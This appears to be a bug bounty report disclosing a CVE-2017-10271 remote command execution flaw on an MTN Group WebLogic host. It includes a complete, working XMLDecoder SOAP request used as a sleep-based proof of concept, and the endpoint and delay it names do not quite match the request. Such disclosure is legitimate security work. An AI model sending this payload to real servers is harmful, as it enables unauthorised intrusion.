MTN Group: Remote OS Command Execution on Oracle Weblogic server via [CVE-2017-10271]

##Summary

Hello. I was able to identify RCE vulnerability due to the outdated Oracle Weblogic instance on https://raebilling.mtn.co.za.

##Steps To Reproduce

• To reproduce, launch this request with BurpSuite
• This request to the https://raebilling.mtn.co.za/wls-wsat/CoordinatorPortType will trigger sleep for 15 seconds (same applies for 20 secondes, 40 seconds):

POST /wls-wsat/RegistrationPortTypeRPC HTTP/1.1
Host: raebilling.mtn.co.za
Content-Length: 426
content-type: text/xml
Accept-Encoding: gzip, deflate, compress
Accept: */*

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
      <java class="java.beans.XMLDecoder">
        <object class="java.lang.Thread" method="sleep">
          <long>40000</long>
        </object>
      </java>
    </work:WorkContext>
  </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

==POC:== {F736913} {F736912} {F736915}

Suggested Mitigation/Remediation Actions

• Patching WebLogic to the recent version will fix the issue.

Impact

This vulnerability allow an unauthenticated attacker:

• To perform Remote OS Command Execution.